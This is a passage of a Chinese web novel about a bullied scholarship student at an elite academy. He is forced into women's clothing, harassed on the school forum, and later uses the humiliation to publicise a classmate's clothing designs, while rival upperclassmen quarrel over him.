温绒换好衣服下楼时,震天的响从远处逼近,一个红色巨物唰一下从面前飞过,在宽阔的拐弯处剧烈旋转,发出更加刺耳的摩擦声。 他后知后觉,那是辆敞篷跑车。 跑车驶近,驾驶座上时野穿着背心,戴墨镜,镜片光滑,映出冷风中瑟瑟发抖的自己。 时野打个响指,帅气地打招呼:“早上好。” 温绒继续抖,“你冷吗?” “噗嗤,这点温度算什么。” “可是你的嘴唇在发紫。” 时野沉默了下,硬着头皮问:“你冷吗?” “冷。” “那上车。” 时野开门让他上车,把敞篷车的盖子展开,满脸骄傲问:“我自己装的顶,酷不酷?” “酷。”温绒顺着他的心意说,随即拉紧袖子,防止风钻进去。 “刚才我漂移那段看见了吗?” “飘1?” “就是掉头那儿。” “哦哦哦。”原来是制造噪音的那儿。 “想不想学?” “啊?”温绒愣了两秒反应过来,连忙摇头,“不用不用。” 时野沉默了下,“行吧。” 说完正要发动车子,温绒忙提醒,“现在天亮得晚,还是不要戴墨镜了吧,影响视线。” “没关系。” “不行!” “相信我,我玩过拉力赛。” 因为真实被下过死亡通知书,温绒现在对死亡有些敏感,态度莫名坚决,“要不我走着去你别墅那边。” 时野:“……” 时野:“那,那你别过脸去。” “啊?” “你看外面。” “那你要把墨镜摘了,好好开车。” “嗯……” 温绒不知道时野为什么要这样要求,不过他总是做出奇奇怪怪的举动,温绒都有些习惯,按照约定扭头看向车窗外。 时野确定温绒的视线看不到自己的脸后终于伸手勾着眼镜框摘下墨镜。 锋利的眉眼肿了一圈,下眼睑一片黑,好像被人揍过一拳。 熬夜看宫斗剧的时野也是大清早洗脸时才发现自己有了“熬夜后遗症”。 他当时安慰自己,至少学到了怎么勾引温绒。 但现在勾引失败,他觉得这个黑眼圈真他大爷的难看。 不是,真有男的不喜欢车不喜欢漂移吗? 时野不死心,“你真的不学啊,漂移很爽的。” “我没有驾照,我不会开车的。” 哦,原来是没有前置条件。 时野会心一笑,“那我教你啊,教你开车。” “不用不用。” “我拿过拉力赛冠军,比驾校的老师专业。” “不用不用。” 时野恼怒,“为什么?” “……” “喂——”脱口而出后意识到自己声音偏高,连忙深吸一口气柔声问:“每个人都要学习开车的,你以后工作也会用到。你去驾校学还要交钱,我免费教你。” “不用不用。” “为什么老是拒绝我。” “我……我觉得你开车太危险了,容易出事故。” 企图耍帅的时野:“…………” “?” “我以后拿到奖学金我会去驾校学的。”温绒顿了顿,“你不是让我打网球吗?你先教我打网球。” 虽然教漂移失败,但温绒给出了新建议,时野情绪重新高涨。 对,网球也是他的强项,虽然让温绒这种小白对网球感兴趣很难,但万一他喜欢上网球,那不就是天天只能找自己陪练。 时野嘴角微扬,开心地把车开回别墅。 到门口时六点半,天还没完全亮起来,别墅门口已经站满一整个教练团队的人。 温绒下车时吓一大跳,跟在时野身后战战兢兢走进别墅。 别墅里更是热火朝天,上百个穿着网球社运动服的人围在桌子边吃饭,还没走近大门就听到议论声。 “艹,别让我知道是谁抹黑咱们学校,否则我弄死他。” 温绒猛然顿住。 虽然他决定了要做这些事,但听到有人骂自己,还是有点心虚。 “怎么了?”时野发现他的微小动作。 “能不能……”温绒欲言又止。 因为表情太过为难,一边说话还一边看向别墅里面,时野望过去,也是浑身一震。 顿时懊悔。 他竟然忘了,开学的时候曾经拉温绒到别墅来欺负,之前温绒也不进他别墅的,都是直接去安保室,肯定有PTSD。 时野恨不得掰着温绒的身体背过去别看别墅别想一起暗,连忙道,“你先去安保室等我几分钟。” 他想,里头那群人差不多也吃完了,赶紧把他们全部清走,去旧网球场,自个带着温绒吃饭打网球。 这么打算着,开门进别墅。 “时哥。” “社长。” 时野点头应声,正要找管家说话,听到有人吼一声。 “找到了!那个抹黑学校的孙子被李奥扒出来了。” “艹!”有人撸袖子,“是谁?老子要揍他。” “是……”激动的男生喉头一卡,忽然看向时野。 时野蹙眉,以为是说自己,心想周谢那傻叉又在搞什么,竟然把这种脏水泼到他身上? 他发那种质疑校方的文图什么?昨晚上他也在蓝书上被骂了上万条。 “是……” 旁人催促,“是谁啊,别卖关子。” “是……特特特特特特……” 另一个人高喊:“靠!竟然是温绒。” 霎时间,时野眼底瞳孔紧缩,“谁?” “就是那个特招生,温绒。” 时野大步上前抢过男生的手机,果然看见黒鸽帖子: 《号外:在蓝书上抹黑学校的是特招生,ip证据在此》 “不可能。”时野脱口而出。 温绒怎么会…… 会的,温绒会的。 时野对温绒的喜好了解很少,但他就是知道,温绒做得出这样的事。 他不知道天高地厚,更不知道抹黑弗罗里曼学院就相当于跟全联邦的顶级阶层作对。 时野脑子一阵剧痛,刚抬手搓头发,听到有人又喊: “周谢向全校发起了投票,问是否同意给温绒罚红牌。” 第67章 第 67 章 阴暗蜷缩 才不过几分钟, 投票栏就出现了火红的条形,“同意”彻底完全压到“不同意”。 时野摸手机,点下唯一一个“不同意”。但“同意”的票数仍然在不断增加, 他把手机还回去,“都点不同意,谁要是同意以后不要来网球社。” 时野发话,即使吵着要弄死罪魁祸首的人都违心打开黒鸽投了个“不同意”,脸上表情不好看。 然而“同意”票数短短几分钟内飙到1200时,释然。 弗罗里曼学院每年招收300名学生,7个年级总共2100名左右, 无论有一部分学生参不参与,1200这个数字绝对超过半数。 “他都罚习惯了吧。”不知道谁低低说了声,众人又一齐感到失望。 罚了红牌有什么用, 有时野罩着,谁敢动温绒。 甚至时野还不许他们投“同意”。 滋—— 此起彼伏的消息提示音响起。 黒鸽系统通知:[经全校学生投票决定,给予温绒罚红牌。] 黒鸽系统通知:[鉴于诸多同学对罚牌制度的不重视, 现新增规定,如若有人纵容被罚红牌的同学一错再错, 同样处罚红牌。] 消息传输完毕,别墅内陷入可怕的死寂,所有人甚至屏住呼吸,目光悄悄瞄向时野的方向。 砰—— 拳头砸向桌面, 震得桌上的盘子都抖了三抖。 刚进门的安保大哥收拢衣服要转身遁走,时野眼睛瞥过去,“什么事。” 安保大哥深知时野的暴脾气,连忙扯出挡箭牌,“那个小男孩让我问你打球之前要怎么热身, 少爷您现在应该挺忙,我我去跟他说让他先回去。” “等等。”时野胸口高高隆起,强压下情绪,“我没事。” 安保大哥:“可是你看起来……” “我没生气。” “……” 时野神经兮兮地补充,“不准告诉温绒我生过气。” 安保大哥聪明地顺着他,“好的好的。” 时野偏头看向网球社众人,众人也跟着点头,“不说不说。” 放心下来的时野平心静气吩咐,“你们继续吃,吃完训练。” 随后抹一把脸,提起嘴角。 安保室 温绒乖顺地坐在沙发上,手里拖着横向的手机,应该正在播放视频,传出声音:“网球初学者应该……” 时野不禁咬牙,都被罚红牌了竟然还有心情看这些,温绒到底有没有意识到自己惹了多大的祸? 幽怨的眼神过于锐利,温绒似乎察觉到,暂停视频懵懵地抬头,一双浅眸缀在镜框里微颤,“怎么了?” 时野启唇吸口气才道,“你不要看其他人的视频,我会教你怎么打网球。” “我只是想提前准备一下。” “不需要。”时野说完,脑子里冒出岔开话题以外的心思,暗示道,“我比任何人都专业。” …… 清晨意外露出日光,浅浅的一层橙色落在身上,温暖得每个细胞都在舒展。 网球场上,时野往温绒球拍上放网球,一边看他垫球一边耐心道,“没关系,慢慢来,力道保持住……” 拍子又一次在空气里刮空气,温绒望着咕噜咕噜朝外滚的球,手臂忍不住放下。 “怎么了?” “手有点酸。” 才垫几下就手酸?! 时野控制住震惊的表情,目光忍不住偏移看向温绒的手臂,布料勾勒出很细的一条,像是只有骨头。 一个两全其美的想法在他脑子里冒出,“网球很需要体能支持,要不你以后早晚都过来,我带着你一起健身,顺便在这边吃饭。” “啊?” “我这边厨师手艺比食堂的好,而且因为我要随时接受运动员协会的检查,这边所有的食材都没有打过激素,特别健康。然后……然后你想吃什么都可以做……你还可以住在我这边,反正我们的课都差不多,你以后跟我一起去上课……” 温绒有些迷糊,“打网球这么麻烦吗?” “打网球不麻烦,只是你被你被——”声音戛然而止,时野改口,“最近学校很多人发神经,你一个人在外面危险。” 温绒这才有个概念,“因为罚红牌?” “你你……你知道了?” “我也收到消息了。” “对不起。”时野说完,叉着腰转身,气恼自己不是学生会会长,又气恼自己就算打周谢一顿温绒也照样被许多人讨厌。 “那个……这次你能不能不要管这件事。” 时野猛然一愣,“你让我别管这件事?!” 温绒神情沉静地点点头,“嗯。” “你知道这次你真的惹到很多人了吗?弗罗里曼学院现在以及以前的学生,还有校长领导们……” “我知道。” “你真的知道?” 温绒仰起脸,目光坚定:“我真的知道。” “你知道还拒绝我。” 暖风吹拂温绒的刘海,眉心白皙,眉眼俊秀。 “我花了很长时间才明白你们手里掌握着什么权力。我很感谢你用你的权力保护我,但我好奇,没有权力的人该怎么办。” “什么权力?”时野眼底迷茫。 “我会试着自己解决问题。” 蓝天绿地,网球场上悄无声息,温绒把地上的所有球捡回篮筐,给时野说了声“我先回去了”,背影在浅浅的阳光中消散。 良久,时野侧头回忆。 那是温绒吗? 虚空中漂浮碎裂的片段,戴着黑框眼镜的窝囊废,很呆又很会让人感到尴尬……温绒变幻过很多形象,多到他都有点不确定自己是否真的了解过温绒- 【滴——任务完成。】 【滴——任务完成。】 【滴——任务完成。】 “任务好多好多,哥哥,我不会死了!” 【……】你别表现得太明显啊! 被罚红牌的第一天,因为在食堂门口被撞,上课被孤立,下课不允许使用卫生间,猛猛收获3枚积分,温绒忍不住在教学楼门口跟系统分享喜悦。 “我还以为会挨揍呢。” 【你在蓝书上有粉丝,跟时野又关系好,还让赵泽阳退过学,没有人敢跟你起特别大的冲突。】 “原来我这么厉害。” 【……】 温绒走下台阶,阳光扑面,好像提前感觉到了春天来临,眼睛都眯了起来。 同样的阳光被隔绝在拐角阴影处,灰色脑袋被镜头挡住,咔擦咔擦咔擦,温绒的背影定格在单反内。 时野翻阅照片,侧脸起伏漂亮,卷长的眼睫托起光点,晕出一片皙白,衬得上扬的唇角淡粉淡粉。 他郁闷地想,为什么被欺负了还这么开心?之前自己欺负他的时候他明明很爱哭。 温绒变了。 时野这样得出结论,他或许有受虐侵向。 不是,难道是我之前欺负他太多,以至于他心理变态了吗? 时野在被原谅后第一次感到内疚,深刻认识到自己开学时对温绒造成了多大的伤害。 怀着这样的心情,时野偷偷摸摸又跟着温绒到图书馆。 跟踪计划持续了将近两天,时野越来越确信温绒的受虐倾向,好像越找他麻烦他越开心! 同时也发现温绒的生活只有两个字能形容——枯燥。 图书馆教室食堂三点一线,教室永远坐在第一排中间,图书馆永远坐在靠窗的老位置,就连去食堂吃饭,每天早中晚三餐都是一模一样菜式。 时野抱着单反默默地想,怪不得温绒说自己解决,学校里这些人的找茬在他那里确实不算什么事,完全无法影响他每天的正常生活。 不过事态在罚红牌的第三天发生了聚变。 运动员协会的抽检人员空降弗罗里曼学院,时野暂时放下跟踪任务配合抽血。 正在别墅里等待时,有网球社的人在黒鸽上给他发消息。 [时哥!王艾伦聚集了一堆人把温绒拖去食堂了。] 时野猛然起身,身后王西杰叽里呱啦讲一堆,什么都没听清。 王艾伦算什么东西,也敢把温绒“拖”去食堂。 温绒说的自己解决、不要帮忙通通被抛到脑后,时野手臂上青筋暴起,几乎要把方向盘捏碎。 “说,为什么要抹黑学校。” “张锦程污蔑我盗用设计图的事情是不是你撺掇的。” “打他!打他!” …… 沸腾的人声穿过食堂挂帘,在时野耳朵里一颗一颗爆炸。 他跳下车,用力掀开门帘。 但里面太多人了,非饭点时间,聚集了下午吃饭才能有的数量。 时野进门没有得到任何关注,他扯开挡在前面的人。 “据说,你讨厌别人把你当女人。” 时野动作一顿。 ——是周谢 “论坛上叫你老婆不行,女神也不行,还讨厌同性恋。” 空气安静。 时野也停下动作。 “李奥,把女校的裙子给他。” “你……要干什么?” 在周谢的对比下,温绒的声线带着尤其明显的颤音。 “以后你就穿女装上学。” “我不——” 周谢冷声打断他,“或许你想整个新闻社都被罚红牌。” 温绒声音哽咽,“只要我穿了女装,就不给学长们罚红牌吗?” 艹! 周谢这阴险小人尽干威逼利诱的勾当。 “让开。” 时野双手大力推开挡在面前的人,抱怨声还没响起,倒吸凉气的声音接二连三传进耳朵。 一群人把温绒围在中间,他的书包被拉开,里面东西全部掉出来,学校统一配备的笔记本电脑不知道被谁踩成了两半,静静躺在冰冷地板上。 温绒弯腰捡起裙子,脸几乎埋在胸口,看不出是难过还是愤怒,迅速套在腰上。 咔—— 皮带像一条蛇,被扯开后从裙子钻出,掉在地上,盘成圈。 左脚鞋尖踩着右脚后跟,脱下皮鞋,两只白色袜子踩上在同样死白的地板。 黑色西裤猛然下坠,一双腿雪白笔直,然而还是因为太瘦,并拢的膝盖上连着细缝。 时野像被蒙头打了一棍,愤怒一哄而散,心跳如鼓,咚咚咚在耳朵里砸。 他明确意识到所有人都看见了,空气里暗流涌动,有人大声吞咽唾液,但魂魄如同那条皮带,蛇似的阴暗蜷缩。 第68章 第 68 章 周谢破防 直到空气里响起一声抽泣。 时野猛然回神, 迅速脱下外套上前围在温绒腰上,“自己抓好。” 温绒大概没预料到他会来,猛然抬头, 微红的眼睛闪过一瞬愣怔。 时野心情复杂,避开那目光,沉默地蹲下让他穿好鞋,捡起裤子跟皮带,拉他走出食堂。 当晚黒鸽论坛热闹至极。 《双眼认证,梁子力学痴迷的女装也没多好看》 [今天在食堂看见了,也就那样。] [就是露了腿而已, 前几天在网球场晕倒的时候都看过了。] [那么短的头发穿短裙有点怪,能不能提个要求,让特招生戴假发出门?] [不是羞辱他么, 你还提上意见了?] [羞辱他也要保护好我的眼睛啊!] …… [要不是时野带走他我还可以多看会儿,时野以后不会贴身跟在他身边吧?那多没意思。] [放心,还有下周时野就要去打公开赛了, 护不了他多久。] [到时候能不能给我看更短的裙子。] [想看更短的裙子+1] [相信荷官会满足我这个小小的要求。] 正在所有人吵着要看更短的裙子时,论坛里出现一份新的帖子。 发帖人:温绒 《一旦拥有了这个东西, 再也不怕霸凌了》 小编发现,一些身体素质较差,家境不好的人在学校、职场、日常生活总会遭到别人莫名其妙的霸凌,甚至人身威胁。 现希望有能力的校友们帮忙做出一款类似于防狼喷雾这样轻便、非致命却更效率达到自救效果的武器, 让每一个人面对危险时都有一战之力。 [???] [不是,还敢发帖呢?] [穿裙子没穿够吗?] [你要的东西我能做,但绝对不给你做。] [怎么好意思说霸凌?不是你先惹事的吗?] [是不是穿裙子还不能满足你啊,老婆。] [你叫他老婆?] [羞辱而已,他最讨厌别人把他当女人了。] [原来如此, 我也来。老婆老婆老婆老婆老婆老婆老婆] [以后我还要当着他的面喊他老婆,就把他当个女人。] 直到凌晨三点,帖子里仍然有人回复消息,情绪激动到不同寻常,甚至身为系统管理员的周谢都收到后台提示:[今晚论坛的回复量比以往提高了300%呢,来看看发生了什么有趣的事吧] 由此,作息规律的周谢在临睡前破例打开黒鸽论坛,看到温绒又发贴时心头一紧,不禁想起上次他发帖提出的科普软件,而后又想,被迫穿女装已经暂时击溃温绒的精神,他还坚持发帖不过是硬挺。 放松下来,才点开帖子。 [老婆老婆老婆老婆] [老婆老婆老婆老婆我要把你娶回家。]? 周谢看到有人说喊温绒“老婆”时把温绒当女人羞辱时,抬手揉了揉眉心。 装得跟真的似的,下半身思考的没用玩意- 第二天周谢起个大早。 一架之直升飞机盘旋于弗罗里曼学院上空,轰鸣声后,狂风惊起一圈又一圈气浪。 有人扶着门走下直升飞机,金色的发丝像是张牙舞爪的怪兽,根根摇曳朝天嘶吼。 将近一个月没见到的好友走到面前,身为学生会会长,正要就莱昂这次外出表达常规关心,眼前骤然出现一团黑影。 咔—— 脸颊一歪,眼镜被打飞出去,周谢才才感觉到鼻梁上传来疼痛。 莱昂这一拳过于石破天惊,旁边的李奥都愣了一愣,过了几秒才上前扶自家表哥,“莱昂,你干什么。” 周谢抬手示意李奥闭嘴,眯着眼睛在地上找回眼镜戴好。 站直身体时,禁锢在冷漠之下的灵魂破口而出,周谢冲向莱昂,回击一拳。 莱昂倒退两步,嘴边溢出一声嘲笑,再次抬手。 这下所有人都惊呆了,最为冷静的学生会会长跟脾气最好的莱昂学长竟然打了起来! “快拉开他们。” 不知道谁喊了声,众人如梦初醒,连忙上前将两人扯开。 周谢扯开嘴角冷笑,“又因为那个特招生,是么。” 莱昂一改温润模样,双手都被抓着,想要到周谢面前,又有人奋力挡在他身前,湛蓝眼眸周遭不满血丝,“你让他在那么多人面前穿裙子!你竟然让他穿裙子!周谢你他妈懂不懂尊重人。” 周谢也在李奥手里挣扎,上半身冲着要向莱昂靠近,“那篇新闻是我逼他发的?抹黑学校是我逼他做的?” “明明有更好的解决方式。” “那你说还有什么办法能平息所有人的怒气。” 挣扎下莫名挨表哥一拳头的李奥终于忍不住打断两人,“别吵了。” “你还帮他,从小到大你跟狗一样听他的话,咬了那么多人,就没有一次把脑子长出来吗?那些事你就没有怀疑过做得对不对吗!?” 李奥猛然一顿,被触动脑子里某根神经,眉头紧皱,“有必要为了个不重要的特招生吵架吗?还在那么多外人面前。” ——外人 在场所有人都有些不自在,尴尬对望几秒,也不管两人是否还要继续打架,纷纷表示“好累好困好想睡觉”,迅速遁走。 直升飞机盘旋离地,声音散在空气里,越来越远,渐渐听不见了。 寒风依然剧烈,吹着脸皮敲着骨头,三人沉默良久,周谢蓦然转身。 “是他先惹事的,你要是真心疼他,就跟看狗一样看好他,别让他出来乱咬人。” 按照周谢的预想,这场争端到这里该结束了,然而莱昂大步上前抓住他的肩膀,“你说谁是狗。” 周谢嘴角再次扯出没有温度的笑容,“真是情根深种……” 随即他忍不住道,“告诉你一个坏消息,时野绝对也喜欢他。” “你要怎么做?跟你从小一块儿长大的朋友抢人吗?” 莱昂果然脸色微变。 那些笑容总算真实许多,周谢由衷感叹,“真想看看那场面啊。” 莱昂大抵是不想见到那场面的,匆忙松开手倒退好几步。 周谢适时转身,正要下楼,空荡的楼道回旋匆忙的脚步声,一抹水蓝色从拐角冲出,像是一团湖上升起的晨雾。 雾里有个女人,身姿轻盈,长发挽成髻,简单别一只白玉质地的簪子,从周谢身边路过时,带着一阵淡香。 周谢再回忆,竟然想不起女人长什么样,只觉得刚才跟做梦似的。 “学长。” 熟悉的声音…… 他疑惑回头,看见女人的背后搭着长发,用细长的丝带束成一缕,缎似的。 “温绒?” 温绒? 周谢脚下骤然一滑,连下两三台阶。 李奥匆匆上来扶住他,同时摸出手机递到他眼前,“表哥,出事了。” 蓝书热搜第一 #温绒古装# #弗罗里曼学院学生会会长要求温绒每天都这样穿# 点开热搜,第一条女人的九宫格照片。 湖是眼熟的湖,靠近时野别墅旁边那个,脸是熟悉的脸,妆容淡雅,颊上除了被风吹起的碎发,见不到任何装饰。 裙子更熟,是刚才从眼前飘过的一抹晨雾。 照片是半个小时前发出去的,转发过亿,评论过亿。 评论区热闹。 [众所周知,弗罗里曼学院的学生必须在学校穿校服,但是因为张锦程的作品太完美,学生会会长,也就是咱联邦总统唯一的公子,特地开绿灯,允许温绒在校穿张锦程制作的衣服。] [张锦程就是前几天指责王艾伦抄袭的那个吗?] [是的是的,张锦程虽然不怎么出名,但他家是联邦有名的古制世家,很多喜欢传统文化的大佬都会到他家定购衣服,还有好多大制作的古装剧,也是请他家帮忙的。] [怪不得学生会会长特别允许温绒在学校里穿呢,女装温绒也太太太好看了!] [超贴他的气质,跟不是人间烟火的神女一样。] [他身上这件水蓝色纱衣更了不起。做布料生意的都知道现代的蚕因为基因变异长得比古代的胖,吐出的丝也比较粗,仿制不了古墓出土的那种超轻薄纱衣,但温绒这件光是站桩都能感觉纱衣在飘,轻薄得可怕,绝对是新蚕种,不仅可以做出叠穿十二层都不觉得热的纱裙,甚至有可能帮助考古专家修复古董衣。] [我现在相信王艾伦盗用张锦程的设计图了,王艾伦之前的设计都有点暗黑风格,张锦程的设计风格好仙气,春夏时装周上那些仙女裙绝对出自他的手。] [我对比了下王艾伦在春夏时装周上的设计,有些细节处理都是古法,要特别专业的人才知道。] [难道你们没发现吗,温绒的眼睛在阳光下真的是白金色,跟张锦程说的完全对得上!] [天呐,学生会会长的眼光也太好了吧。唯一准许穿的裙子果然了不起,他自己亲眼看的时候是不是也看呆了。] 脑子再次晕眩,周谢膝盖一软,差点从台阶上栽下去,幸好李奥及时扶助,“表哥你没事吧。” “没事。” “可是你……” “……” 真的没事吗? 有事! 傻子看不出来,但他不是傻子。 他在学校里打仗,温绒直接把目标对准校外,还借力打力,踩着他的“羞辱”抬高张锦程。 学院的唯一准许,总统之子的赞赏,温绒本身自带的热度,这三样加持,就算是头猪都能借力飞上天。 周谢难以置信,温绒怎么可能想出这样的“招数”。 “学长,你看起来好憔悴,在那边很幸苦吗?” 嗷,学长。 莱昂。 温绒想不出来但莱昂可以,说不定莱昂一直悄悄给他当军师。 为了个认识不到两个月的特招生,就要这样背刺从小一起长大的兄弟吗? 周谢出离的愤怒,眼底戾气横生,用力甩头看向莱昂,“你教他的?” 莱昂不知道什么时候已经满面笑容,或许在见到温绒的时候,或许温绒喊他的时候…… 湛蓝的眼睛满是温柔,并不掩饰其中的爱意。 眼眸微动,转向周谢时,嘴角更上扬了几度,“我没有教他。” 那是谁—— 时野? 不对,不是时野。 时野向来直接,想不出这样的办法。 “学长这一个月都在深山老林里啃树皮,好饿好饿,带学长去吃点好吃的吧。” “嗯嗯。” 莱昂拉着温绒的手下楼,那阵香味再次卷着空气涌入周谢的鼻腔。 视线追随,水蓝色的裙摆几乎飘着走远,长发太过陌生,周谢几乎要生出这不是温绒的错觉。 只是莱昂新交的女朋友。 看起来不错,配得上莱昂。 然而两道背影行至拐角,水蓝色的背影蓦然回头。 浅浅的眸子晶亮,唇角微扬,得意。 第69章 第 69 章 过分一点也没关系 “等等学长。” 学生会大楼向来清静, 走到门口也没见到其他人。 温绒突然停下脚步,手臂从莱昂手里抽回去,迅速解开腰带。 垂落的黑发下盖着一节脖颈, 细长,净白。 莱昂错愕片刻,看到温绒穿过纱衣,把腰带系在了里面。 手法并不娴熟,绕两圈,紧紧贴着腰,细得仿佛一只手就能揽到怀里。 他把手背到身后, 正好温绒脱下水蓝色纱衣,挽在手臂上。 “好了。” 又说:“学长弄了一个多月才织出这件外套,可贵了, 不能给他弄脏。” 莱昂重新伸手拉温绒的手臂,没有被拒绝,嘴角上扬, “怎么真穿着女装出来了,不讨厌吗?” 温绒平静摇头, “我不讨厌的。” “真的不讨厌?” “嗯嗯。” “可是你好像讨厌他们喊你老婆,也在论坛上发帖子说讨厌同性恋……” “……” 温绒沉默了两秒,脑袋凑近莱昂,压低声音, 好像个做了坏事的小学生,“学长,我故意那么说的。” 柳叶眉又长又细,衬得清澈的眸子晶亮。 这么长时间不见,莱昂明显感觉到温绒的变化——褪去些许懵懂, 整张脸鲜活起来,带着几分机灵样儿。 “他们才没有把我当成女孩子。他们只是把我当玩具,一点都不尊重我,自己还意识不到。” 温绒用气音继续说:“正好社长做裙子,我就想,我可以帮社长宣传,因为我蓝书上有400万粉丝,我说话很有份量。” “这里就只有我们两个人,可以不用压低声音说话。” “哦哦。”温绒把脑袋收回去。 走几步,莱昂又问:“爬山弄伤的手怎么样了,还疼吗?” “不疼了。” “这段时间好像发生了不少事?能给学长讲一讲吗?” “可以的。” 从学生会到食堂的一路,莱昂认真听温绒从软件被盗用讲到早上借时野的设备拍照发到蓝书上,捋一捋逻辑,才终于明白周谢的表情为什么那么难看,还莫名其妙问是不是他教的温绒。 莱昂当时其实没听明白,只是实话实说,现在弄清楚来龙去脉,脸上的笑无端冷了几分。 上次赵泽阳退学,他把温绒的行为复杂化,猜想温绒制定了多么缜密的计划才做成那些事,然而温绒不过是学着电视机里演的“上告清官”。 但这次摆周谢一道,温绒明显把一切都计划好了。 温绒成长得比他想象中更快,怪不得去麻烦许秋老师送东西时许秋老师称赞他“眼光不错”,因为温绒真的变得比他想象中更“不错”。 “学长?” 莱昂茫然:“嗯?” “你之前送我的小玩具可以量产吗?它很适合用来自保,比如女孩子晚上回家被人尾随,比如女孩子在外租房忽然被歹徒敲门。” “什么尾随?你在哪儿看到的这些东西?” “蓝书。”温绒眼睛弯弯,“林启正学长要求我每天在蓝书上跟人吵架,吵完架后偶尔会刷到这些新闻。” 莱昂嘴角抽搐,“吵架?” “嗯嗯。” “你会吵架?” “不会。我都是把我看过的视频分享给他们。” 莱昂回忆起温绒给自己看的诈骗视频,已经能想象每个跟温绒吵架的网友看到回复时是什么心情了。 “对了,时野还在里面添加了定位芯片,以后也不怕弄掉了。” 时野? 莱昂语速变快,“他在里面加了定位芯片?” 温绒乖巧点头,下意识伸手摸口袋,然而只摸到裙摆,遗憾道,“我收到你消息就跑过来了,都没来得及拿包,等回去我拿给你看。” “嗯……” 答应了,但莱昂的思绪在“时野往自己送温绒的礼物里面加了东西”跟“时野是不是因为芯片喜欢上的温绒”这两者间反复横跳。 初冬的寒风吹在身上,温绒侧头跟莱昂说话,假发挡住了视线,然而根本顾不及撩开,浑身一抖,倒吸了口凉气。 初冬穿这种裙子怪冷的。 “冷?” “有点儿。” 莱昂手摸上拉链想脱衣服,转而想到这种行为莫过于在温绒不知道时候宣布主权,并不礼貌,于是抬眼目测食堂的距离,“还有两分钟就能到食堂了。” “嗯……嗯。” “如果我们小跑,就需要一分钟。”顿了下,“跑吗?” “跑!” 温绒说完拎着裙子就往里跑,莱昂刻意慢他两步,想着要是温绒踩到裙子摔倒还能及时拉他起来。 到食堂门口,刚掀开帘子,一个白大褂站在门边,“温、温绒。” 温绒停下脚步,莱昂进门,跟梁子力学对上视线。 梁子力学很快挪开脸,局促的理了理白大褂,目光透过眼镜,小心地望向温绒:“那个……” “对不起。” “对不起。” 两道声音一同响起,温绒愣了愣,梁子力学也是。 索性梁子力学反应及时,先开口,“我不应该在论坛上秀你帮我cos米璐璐的事情,对不起,你别讨厌我。” “啊?” “真的,对不起。” 卷长的眼睫轻轻开合,抬起望一眼莱昂,又挪回去给梁子力学说:“学长,我才要说对不起,我当时不是故意那么说的。” 莱昂在飞机上看过温绒发的帖子,结合刚才温绒说的,他理清楚温绒发帖子是为了诱导周谢,但这些计划温绒似乎并不想告诉梁子力学。 但是会主动告诉自己。 笑意加深,莱昂跟梁子力学说:“温绒当时确实有点生气,不过都过去那么多天了,气也消了,学长别太放在心上。” 温绒本能张嘴正要喊“啊?”,莱昂悄悄拍了下温绒的后背示意他别说话。 温绒抿唇,乖乖沉默。 莱昂微笑,“我们要吃饭了,学长您一起吗?” “不、不了,我先回实验室。” 望着梁子力学一溜烟跑出食堂的背影,温绒忍不住问:“学长,我没有生梁学长的气,为什么要……” 莱昂用下巴点点远处,“学长想吃咖喱猪排乌冬面,帮学长端一碗吧。” 温绒停下询问,乖乖去给饿瘦了的莱昂端面回来。 坐下时,手机响起消息提示音。 梁子力学:[温绒,你不是想要蚕丝吗?我养了好多好多,我给你送过去。] “收到梁子力学的消息了?” 温绒瞪大眼睛,心想莱昂学长跟林启正一样都是黑客吗?竟然知道自己手机里的信息。 莱昂歪头,“梁子力学很喜欢你。” “……他很喜欢我的脸。” “都是一样的。” 温绒憋了两秒,忍不住问:“学长,他为什么还发消息给我?我明明说了那么过分的话。” “过分吗?” “有点。” “你只是亮出你的底线,他为之前的冒犯道歉而已。”莱昂说:“之前教过你拒绝,比如说滚开,离我远点这些,你好像没有明白那些话的真正意义。在人际交往中,生气往往比包容更有效。” 温绒发愣之际,莱昂话锋一转,湛蓝的眼眸低垂,“而且,对待喜欢你的人,可以过分一点。” 温绒犹豫问:“我不喜欢他,我过分地对他……是不是不太好。” “万一他就喜欢你那样对他呢。” “啊?” 莱昂翻搅碗里的面,“你知道学长接下来有什么安排吗?” 温绒诚实摇头。 “你接下来有什么安排?” “我要回100室。林启正学长还在写新闻稿等着我转发,张麟学长还等着我去拍照。” “别回100室,陪学长去个地方。” 温绒一愣,“什——” 莱昂撑着半张脸微笑打断他,“学长很久都没跟你好好说话了。” 这样的提议有点过分,温绒脸上闪过一抹为难,就连舒展的柳叶眉向眉心靠拢。 思索了约莫半分钟,温绒终于作出决定,小心询问:“学长要去什么地方?需要多久?” “去校外,大概需要一整天吧。” 又开始为难。 为难后又问:“可以明天吗?” “太久没有去了,好想去。” “……” “你要是真的不方便就算了。” “没有没有。” 莱昂咧嘴笑,“你看,过分一点,是不是更容易达到目的?” “啊?”温绒张大嘴,迟钝几秒,似乎终于反应过来莱昂的意思,眼睛顿时明亮,“原来是这样!” “嗯。” 他激动起来,“学长,我能先回去换身衣服再出去吗?” “可以。”莱昂摆弄头发,“学长也要弄个头发,这一个月每天睁眼都在忙,还没有网,吃的都是罐头,洗澡还限时,太难过了。” 温绒深吸一口,学到新知识的同时,也对莱昂这段时间的遭遇充满同情。 其实本来有点失望的。 因为学长招呼不打就走了一个月。 现在完全不这样想了!- 与此同时,湖边 时野握着手机来回踱步,“温绒去哪了?怎么还不回来?” 张麟满心都是时野的单反,抱在手里跟盘核桃似的盘,隔几秒才敷衍“嗯”一声。 时野气愤,伸手抢回自己的单反,又问:“温绒去哪了啊?” 张麟猛然回神,“什么?” 时野:“……” 怒火通通一触即发,又很快憋回去,垂头委屈道,“他刚什么都没说就跑了,到现在都没回来。” “对哦。”张麟后知后觉。 时野终于忍不住,“他不是你学弟吗!你怎么一点都不关注他。” 张麟奇怪道,“他那性格能有什么秘密,我还以为他刚才要去上厕所呢。” 说完走到敲笔记本电脑的林启正旁边,用脚背踢他,“老幺呢?” 林启正抬手臂推张麟的腿,“别吵我,我在写八卦。” “我说老幺——” “哈哈哈哈哈,写周谢暗恋老幺的八卦让我半小时涨了一万粉!一万!” 张麟翻个白眼,“服了。” 随即偏头,看着远处张锦程走来,问:“社长,看见老幺了嘛?” 张锦程愣了下,“没有啊。” “你刚才没跟他一起去?” “我刚才去打电话。” 张麟紧张了下,“怎么了?你家里打电话骂你了?” “没。”张锦程脸上泛起真诚的笑容,“有几个同学刚才在黒鸽上找我,说家里姐姐妈妈想在我这里定衣服,要温绒那款。” 张麟眼睛睁大,“真的?” “嗯。” 